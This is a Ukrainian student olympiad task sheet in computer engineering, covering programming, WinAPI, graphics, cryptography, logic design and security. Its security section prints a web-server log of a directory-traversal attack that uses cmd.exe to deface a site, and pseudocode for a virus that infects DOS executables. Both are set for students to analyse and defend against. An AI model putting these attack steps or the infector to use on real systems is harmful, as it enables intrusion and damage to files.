Реферат: Всеукраїнська студентська олімпіада
Всеукраїнська студентська олімпіада
за напрямом
«Комп’ютерна інженерія»
Спонсор – http://wellink.zp.ua http://it-olymp.zntu.edu.ua
Максимальна кількість балів за кожну дисципліну 60.
Файли відповідей називати за номером завдання (наприклад: для завдання 1.1 файл розв’язку повинен називатися 1-1.cpp, для завдання 4.1 файл розв’язку повинен називатися 4-1.doc). Якщо розв’язок на завдання складається з декількох файлів, тоді їх потрібно додати до архіву (наприклад: для завдання 3.1 файл розв’язку повинен називатися 3-1.rar).
1 Програмування (мови C/С++)
Для перевірки своїх рішень на робочих місцях надані наступні компілятори:
– Borland C++ 3.1 (з пакетом TASM);
– Visual C++ 6.0;
– GNU C/C++.
Надсилаючи розв’язок необхідно зазначити компілятор (зі списку), який потрібно використовувати при перевірці. Компіляція буде виконуватись із використанням опцій компілятора по замовчуванню.
^ УВАГА! Суворо дотримуйтесь форматів файлів і схеми їх іменування. Недотримання цих правил може призвести до повного або часткового незарахування розв’язку.
1.1 (Максимальна оцінка – 10 балів)
Розглянемо послідовність перетворень натурального числа. Початковим є число, що містить у своєму десятковому запису не більше 4 цифр.
Перетворення задано наступною послідовністю дій. У десятковому запису вихідного числа послідовність однакових цифр, що йдуть одна за одною, замінюється на послідовність, що є десятковим записом кількості десяткових розрядів у послідовності однакових цифр, та цифру, з якої складається вказана послідовність однакових цифр. Якщо цифра не повторюється, то вона вважається послідовністю однакових цифр із довжиною в один десятковий розряд.
Приклад декількох послідовних перетворень:
108 111018 31101118 1321103118
Необхідно скласти програму, що виконує N послідовних перетворень початкового числа.
У першому рядку файлу 1-1.in міститься число N (1<=N<=25). У наступному рядку міститься початкове натуральне число, що містить у своєму десятковому запису не більше 4 цифр.
До файлу 1-1.out потрібно записати результат N перетворень вихідного натурального числа.
Обмеження на час виконання програмою одного тесту – 1 сек.
Приклад:
файл “1-1.in”
файл “1-1.out”
3
108
1321103118
1.2 (Максимальна оцінка – 15 балів)
Нехай A – масив, що складається з N елементів A1, ..., AN. Позначимо його максимальне і мінімальне значення як max(A) та min(A), відповідно. Обчислимо суму елементів S, тобто S = A1 + A2 + ... + AN. Зробимо заміну кожного елементу масиву на різницю S і цього елемента, тобто Ai := S Ai, 1 < i < N. Таке перетворення масиву A назвемо операцією OBFUSCATE.
Створіть програму, яка з масиву B, що був отриманий у результаті K кратного застосування операції OBFUSCATE до деякого масиву A, обчислить різницю max(A)-min(A).
Перший рядок файлу 1-2.in містить цілі числа N і K, де N - кількість елементів масиву B (2 < N < 10000), а K - кількість застосувань операції OBFUSCATE до початкового масиву A, 1 < K < 100. Другий рядок файлу містить N елементів масиву B. Елементи масиву B - цілі числа, що належать до діапазону від -2 000 000 000 до 2 000 000 000.
Єдиний рядок файлу 1-2.out повинен містити ціле число, що є різницею max(A) і min(A).
Обмеження на час виконання програмою одного тесту – 1 сек.
Приклад:
файл “1-2.in”
файл “1-2.out”
4 2
45 52 47 46
7
1.3 (Максимальна оцінка – 15 балів)
Написати програму, що допоможе архітектору визначити силует міста. Силуети усіх будівель є прямокутними, фундаменти усіх будівель знаходяться на одній висоті. Силует міста є двовимірним. Будівлі задані трійками чисел (Li Hi Ri), де Li і Ri – ліва і права координати силуету будівлі, а Hi – висота будівлі.
Наприклад, на наведеному малюнку будівлям відповідають трійки чисел:
(1,11,5), (2,6,7), (3,13,9), (12,7,16), (14,3,25), (19,18,22), (23,13,29), (24,4,28),
а силуету міста відповідає наступна послідовність:
(1, 11, 3, 13, 9, 0, 12, 7, 16, 3, 19, 18, 22, 3, 23, 13, 29, 0)
Вихідний файл 1-3.in містить послідовність трійок чисел, що задають будівлі у місті. Всі координати є цілими і додатними числами, що не перевищують 10000. У файлі буде не менше однієї і не більше 5000 трійок чисел. Кожна трійка чисел починається з нового рядка. У межах одного рядка числа відокремлені довільною кількістю пропусків і символів табуляції.
Вихідні дані впорядковані за зростанням лівої координати будівлі. Наприклад, будівля із найменшою лівою координатою буде зазначена першою.
Послідовність, що відповідає силуету міста, необхідно вивести до файлу 1 3.out. Кожній зміні висоти лінії силуету відповідають два числа: координата, починаючи з якої висота силуету змінилася, і власне висота лінії силуету. Останнім числом у файлі з результатом має бути число 0. Всі числа послідовності необхідно розташувати на одному рядку.
Обмеження на час виконання програмою одного тесту – 1 сек.
Приклад:
файл “1-3.in”
файл “1-3.out”
1 11 5
2 6 7
3 13 9
12 7 16
14 3 25
19 18 22
23 13 29
24 4 28
1 11 3 13 9 0 12 7 16 3 19 18 22 3 23 13 29 0
1.4 (Максимальна оцінка – 20 балів)
Необхідно обчислити кількість N-значних чисел у системі числення з основою K таких, що їх запис не містить двох нулів, що йдуть один за одним. Обмеження: 2<=K<=10; 2<=N; 4<=N+K<=180.
Вихідний файл 1-4.in містить числа N і K у десятковому запису. Числа відокремлені пропуском або символом нового рядка.
У файл 1-4.out необхідно вивести шукану кількість чисел у десятковому запису.
Обмеження на час виконання програмою одного тесту – 2 сек.
Приклад:
файл “1-4.in”
файл “1-4.out”
2
10
90
2 Системне програмування
2.1 (Максимальна оцінка – 15 балів) (WinAPI, GDI, C/C++)
Написати програму, після запуску якої, будь-яке вікно, над яким знаходиться курсор миші, стає обрамованим прямокутником світло-зеленого кольору (межі вікна виділити).
2.2 (Максимальна оцінка – 10 балів) (WinAPI, C/C++)
Написати програму, головне вікно якої має вигляд емблеми «Олімпіади з комп’ютерної інженерії». У верхньому краю емблеми вікно повинне мати панель Заголовку та Меню. Панель Заголовку має складатися з кнопок мінімізації та закриття. Меню програми – пункт «About», за допомогою якого можна дізнатися назву команди виконавця.
2.3 (Максимальна оцінка – 20 балів) (WinAPI, C/C++)
Створити програму, що малює коло з початковим радіусом 50 пікселів у центрі “Робочого столу” системи Windows, при натисканні і утриманні комбінації «Shift + ↑» збільшувати радіус кола, при натисканні і утриманні комбінації «Shift + ↓» зменшувати радіус кола, а якщо натиснуто кнопки стрілок (керування курсором) – то переміщувати коло на деяку величину вверх, вниз, вліво або вправо. Вийти з програми при натисканні «ESC».
2.4 (Максимальна оцінка – 15 балів) (WinAPI, C/C++)
Відомо, що комп’ютер було інфіковано «вірусом», який використовує уразливість Інтернет-бравзера та виконується в каталозі, який вказано в змінній оточення %ТЕМР%. Написати програму, що відображає перелік процесів у системі, що виконуються з цього каталогу.
^ 3 Комп’ютерна графіка
Файли завдань знаходяться в електронній системі “Moodle”.
3.1 (Максимальна оцінка – 10 балів)
Тема. Тонова, кольорова корекція, ретуш та фотомонтаж графічних зображень.
Завдання. Необхідно з наданих фотографій отримати ті, що надані як зразки.
Вихідні дані.
Вхідні файли зображень в форматі JPG.
Вихідні файли зображень-зразків в форматі JPG.
Вимоги
Робота виконується в растровому графічному редакторі Adobe Photoshop.
Результат
Файли зображень в форматі JPG, архівовані в один файл формату RAR.
3.2 (Максимальна оцінка – 10 балів)
Тема. Створення ілюстрації в векторному графічному редакторі.
Завдання. Необхідно створити у векторному вигляді зображення логотипу у відповідності до виданого в растровому вигляді завдання.
Вихідні дані.
Вхідний файл зображень в растровому форматі JPG.
Вимоги
Робота виконується у векторному графічному редакторі Adobe Illustrator.
Об’єкти вихідного векторного зображення повинні мати оптимальну кількість вузлів.
Результат
Файл зображень в векторному форматі AI.
3.3 (Максимальна оцінка – 20 балів)
Тема. Створення анімації за допомогою Flash-технології.
Завдання. Необхідно створити файл анімації, відповідно до виданого завдання.
Вихідні дані.
Файл анімації у форматі SWF.
Вимоги
Робота виконується в графічному редакторі Macromedia Flash.
Результат
Файл анімації в форматі FLA.
3.4 (Максимальна оцінка – 20 балів)
Тема. Створення інтерактивної анімації за допомогою Flash-технології.
Завдання. Необхідно створити файл анімації, відповідно до виданого завдання.
Вихідні дані.
Файл анімації у форматі SWF.
Вимоги
Робота виконується в графічному редакторі Macromedia Flash.
Результат
Файл анімації в форматі FLA.
3.1
Вихідні зображення Результат
3.2
Вихідне зображення
3.3
Вихідний файл анімації
3.4
Вихідний файл анімації
4 Захист інформації
Файли результатів відправляти в форматі Microsoft Word.
4.1 Атака (Максимальна оцінка – 15 балів)
Проаналізувати атаку на Web-сервер невеликої коммерційної установи, в ході якої сайт фірми замінили сторінкою з повідомленням від зловмисника. Хід атаки зафіксовано в наступних записах лог-файла Web-сервера:
03/03/2001 4:01 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir+c:\ 200 730 484 3 1 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)
03/03/2001 4:02 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir+c:\inetpub\ 200 7 49 492 32 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows +98)
03/03/2001 4:02 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../,./winnt/system32/cmd.exe /c+dir+c:\inetpub\wwwroot 200 1124 499 47 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0; +Windows+98)
03/03/2001 4:02 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /'mmc.gif - 404 3387 440 0 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)
03/03/2001 4:03 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /index.html - 200 228 484 0 www.victim.com Mozilla/4.0+(compat ible;+MSIE+5.0;+Windows+98) http://www.victim.com/buzzxyz.html
03/03/2001 4:05 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+rename+d:\wwwroot\det our.html+detour.html.old 502 355 522 31 www.victim.com Mozilla/4.0+ (compatible;+MSIE+5.0;+Windows+9 8)
03/03/2001 4:05 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+md+c:\ArA\ 502 355 48 8 31 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)
03/03/2001 4:05 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+copy+c:\winnt\system3 2\cmd.Exe+c:\ArA\cmdl.exe 502 382 524 125 www.victim.com Mozilla/4. 0+(compatible;+MSIE+5.0;+Windows+98)
03/03/2001 4:07 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../ArA/cmdl.exe /c+echo+HSKK/title> * * * *SCRIPT+KIDZ, INC* * * */hlxbr>^ Друзі+Mої, +ви+тепер+повністю+ належите+мені.+Я+тут,+а+де+ваш+ захист?+А+нема+його+ більше! Хто+мені+не+вірить, +той+може+перевірити+захист+ системи."+»+c:\ArA\default.htm 502 355 763 31 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)
03/03/2001 4:08 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../ArA/cmdl.exe /c+rename+d:\wwwroot\index.html+index.html.old 502 355 511 16 www.victim.com Mozilla/4.0+(compatible; +MSIE+5.0;+Windows+98)
03/03/2001 4:10 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80GET /scripts/../../ArA/cmdl.exe /c+copy+c:\ArA\default.htm+d:\wwwr oot\index.html 502 382 514 31 www.victim.com Mozilla/4.0+(compatibl e;+MSIE+5.0;+Windows+98)
03/03/2001 4:11 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80
GET /index.html - 200 276 414 15 www.victim.com Mozilla/4.0+(compatible ? +MSIE+5.0;+Windows+98)
Визначити:
1. Які слабкі місця захисту використав зловмисник для зламу Web-сервера?
2. Як йому вдалося замісти сліди?
Запропонувати методи захисту від повторення подібної атаки.
^ 4.2 Алгоритм RSA (Максимальна оцінка – 20 балів)
По відкритому ключу (, ) = (2047, 179) алгоритму RSA знайдіть секретний ключ (, ). Визначте максимально можливий бітовий розмір блоку відкритого тексту.
^ 4.3 Подвійний квадрат (Максимальна оцінка – 10 балів)
Розшифрувати повідомлення
Н
С
Ь
В
Ж
Б
Т
Ь
З
Щ
Х
Б
Т
,
яке було зашифроване за допомогою «подвійного квадрату» Уітстона
Ж
Щ
Н
Ю
Р
І
Ч
Г
Я
Т
И
Т
Ь
Ц
Б
,
Ж
Ь
М
О
Я
М
Е
.
С
З
Ю
Р
В
Щ
В
Є
П
Ч
Ц
:
П
Е
Л
:
Д
У
О
К
Ї
А
Н
.
Х
З
І
Ф
Г
Ш
И
К
С
Ш
Д
Х
А
,
Л
Ї
Б
Ф
У
Є
4.4 Вірус (Максимальна оцінка – 15 балів)
Проаналізуйте текст шкідливої програми в псевдокодах, визначите принцип її дії та можливу шкоду. Запропонуйте методи захисту від таких програм.
{***************************************************************************}
константи
^ EXE_NAME_OFFSET = $A3E; {
PASSWORD_OFFSET = EXE_NAME_OFFSET+$29;
типи
Bytefile = file of byte;
Charfile = file of char;
змінні
VIRUS_SIZE: longint;
{***************************************************************************}
процедура ResetFile(var file_handle:Bytefile; file_name:string);
почати
присвоїти(file_handle,file_name);
скинути(file_handle);
якщо IOResult<>0 то почати написати('file "'); написати(file_name);
написати('" was not open.'); прочитати; почекати(1); кінець;
кінець;
{***************************************************************************}
процедура ResetCharFile(var file_handle:Charfile; file_name:string);
почати
присвоїти(file_handle,file_name);
скинути(file_handle);
якщо IOResult<>0 то почати написати('file "'); написати(file_name);
написати('" was not open.'); прочитати; почекати(1); кінець;
кінець;
{***************************************************************************}
процедура MoveBytes(var source_file, dest_file: Bytefile;
pos1, pos2, amount: longint);
змінні
i: integer;
Buffer: byte;
почати
для i:=0 до amount-1 виконати
почати
пошук(source_file,pos1);
прочитати(source_file,Buffer);
pos1:=FilePos(source_file);
пошук(dest_file,pos2);
записати(dest_file,Buffer);
pos2:=FilePos(dest_file);
кінець;
кінець;
{***************************************************************************}
процедура ImplantStringInExe(exe_name,impl_st: string; offset: longint);
змінні
exe_file: Charfile;
i: integer;
почати
ResetCharFile(exe_file,exe_name);
поиск(exe_file,offset);
для i:=0 до length(impl_st) виконати
записати(exe_file,impl_st[i]);
закрити(exe_file);
кінець;
{***************************************************************************}
процедура GenerateSecretKey(file_name: string; var secret_key: longint);
змінні
file_handle:Bytefile;
bt: byte;
i: integer;
почати
ResetFile(file_handle,file_name);
secret_key:=0;
для i:=0 до $1b виконати
почати
прочитати(file_handle,bt);
secret_key:=secret_key+bt;
кінець;
закрити(file_handle);
кінець;
{***************************************************************************}
процедура Shifrate(file_name:string; secret_key: longint);
змінні
i: integer;
io_file: Bytefile;
Buffer: byte;
pos: longint;
почати
ResetFile(io_file, file_name);
randseed:=secret_key;
пошук(io_file,VIRUS_SIZE);
для i:=VIRUS_SIZE до FileSize(io_file)-1 виконати
почати
pos:=FilePos(io_file);
прочитати(io_file,Buffer);
Buffer:=random(256) xor Buffer;
пошук(io_file,pos);
записати(io_file,Buffer);
кінець;
закрити(io_file);
кінець;
{***************************************************************************}
процедура ShifrateString(secret_key: longint; var st: string);
змінні
i: integer;
почати
randseed:=secret_key;
для i:=1 до length(st) виконати
st[i]:=chr(ord(st[i]) xor random(256));
кінець;
{***************************************************************************}
змінні
exe_name,virpatch_name,password: string;
pos1,pos2,exe_size,limit,secret_key: longint;
exe_file, virpatch_file: Bytefile;
почати
написати('Input the name of a DOS exe-file in this folder');
написати('to be infected (with extention):');
прочитати(exe_name);
virpatch_name:='vpatch.vrs';
ResetFile(exe_file,exe_name);
ResetFile(virpatch_file,virpatch_name);
VIRUS_SIZE:=FileSize(virpatch_file);
pos1:=0;
exe_size:=FileSize(exe_file);
якщо exe_size>= VIRUS_SIZE
то begin pos2:=exe_size; limit:=VIRUS_SIZE; кінець
інакше begin pos2:=VIRUS_SIZE; limit:=exe_size; кінець;
MoveBytes(exe_file,exe_file,pos1, pos2, limit);
pos1:=0;
pos2:=0;
MoveBytes(virpatch_file,exe_file,pos1, pos2, VIRUS_SIZE);
закрити(exe_file);
закрити(virpatch_file);
GenerateSecretKey(virpatch_name,secret_key);
написати('Input the password (max. 32 characters): '); прочитати(password);
ShifrateString(secret_key,password);
ImplantStringInExe(exe_name,exe_name,EXE_NAME_OFFSET);
ImplantStringInExe(exe_name,password,PASSWORD_OFFSET);
Shifrate(exe_name,secret_key);
написати('The file "'); написати(exe_name); написати('" was successfully infected.');
написати('Press "Enter."');
прочитати;
кінець.
^ 5 Прикладна теорія цифрових автоматів
5.1 (Максимальна оцінка – 15 балів за повне і обґрунтоване рішення задачі)
Створити цифровий пристрій у вигляді комбінаційної схеми (КС) мажоритарного елементу, що реалізує функцію голосування (вибір з 3-х каналів входу F1, F2 , F3 одного F на виході) із використанням додаткової КС, функція якої - вказати на номер помилкового каналу кодом А0А1. Рішення виконати в оболонці симулятора Electronics Workbench (EWB, free demoversion) на реальних або віртуальних схемах: мультиплексорах 2 в 1 і/або елементах базисів Пірса, Шефера, Жегалкіна, Буля.
Надано:
1. Таблицю істинності мажоритарного елементу «з 3-х в 1» із додатковими кодами А0А1 номеру каналу, що відмовив (код А1А0, що дорівнює 00, вказує на те, що всі три канали передали вірні біти);
Симулятор Electronics Workbench (EWB, free demoversion) для побудови схеми створених КС (без перевірки їх функціонування).
F
F2
F3
F
А0
А1
0
0
0
0
1
1
1
1
0
0
1
1
0
0
1
1
0
1
0
1
0
1
0
1
0
0
0
1
0
1
1
1
0
1
1
0
0
1
1
0
0
1
0
1
1
0
1
0
Треба отримати та надати:
Аналітичні та найбільш мінімізовані вирази для функцій F і А1А0;
Файл із побудованою схемою в оболонці EWB.
Критерії оцінювання:
Вірність отриманих аналітичних виразів для функцій F і А0А1;
Глибина та оригінальність підходів при мінімізації;
Найменша кількість елементів, використаних для побудови функцій і каскадів перетворення.
5.2 (Максимальна оцінка – 15 балів за повне і обґрунтоване рішення задачі)
Надано: граф-схема алгоритму (ГСА) функціонування моделі цифрового автомата (ЦА) Мура для прийому одного комунального платежу (наприклад, за електроенергію) паперовими купюрами.
^ Треба отримати та надати:
Таблицю кодів станів ЦА на основі Т тригерів, вказати кількість Т тригерів, необхідних для реалізації ЦА;
Максимально мінімізовані функції збудження Т тригерів і вихідних сигналів Уi.
Критерії оцінювання:
1. Наявність таблиці переходів-виходів автомата Мура.
2. Вірність отриманих аналітичних виразів для функцій збудження Т тригерів, оптимізація кількості їх перемикань при зміні станів ЦА;
3. Глибина та оригінальність підходів при мінімізації функцій збудження Т тригерів і вихідних слів Уі.
5.3 (Максимальна оцінка – 15 балів за повне і обґрунтоване рішення задачі)
Надано: карта Карно для функції з 5 змінних:
Треба отримати та надати:
1. Аналітичний вираз (рівняння) для реалізації функції із використанням найменшої кількості логічних схем (дозволено використання елементів з 1, 2, …, 8 логічними входами будь-якого базису: Пірса, Шефера, Жегалкіна, Буля).
Схему з мінімальною кількістю необхідних логічних елементів в симуляторі Electronics Workbench (без перевірки їх функціонування).
Критерії оцінювання:
1. Глибина та оригінальність підходів при мінімізації;
2. Найменша кількість елементів, використаних для побудови функції.
5.4 (Максимальна оцінка – 15 балів за повне і обґрунтоване рішення задачі)
Створити схему постійного запам`ятовуючого пристрою (ПЗП) розміром 1 х 8 на основі запропонованих типів схем.
Надано:
1. Будь-яка кількість мультиплексорів 2 в 1 і схеми базису Буля;
Симулятор побудови схем - Electronics Workbench (EWB, free demoversion);
Треба отримати та надати:
Таблицю істинності (ТІ) функціонування ПЗП;
Обґрунтування можливості (або неможливості) його створення.
Критерії оцінювання:
1. Відповідність ТІ та оригінальність підходів що до її отримання;
2. Найменша кількість елементів, використаних для побудови ПЗП.
Конкурсні завдання (перший тур) стор.
еще рефераты
Еще работы по разное
Реферат по разное
Стандарт отрасли система испытаний подвижного состава организация и порядок проведения приемочных и сертификационных испытаний вагонной продукции ост 32. 54-96
18 Сентября 2013
Реферат по разное
Департамент образования Ивановской области ау «Институт развития образования Ивановской области» История
18 Сентября 2013
Реферат по разное
Виктор Калачёв По У. Шекспиру
18 Сентября 2013
Реферат по разное
Стратегическое планирование в рекламном агентстве (процесс, участники, документы)
18 Сентября 2013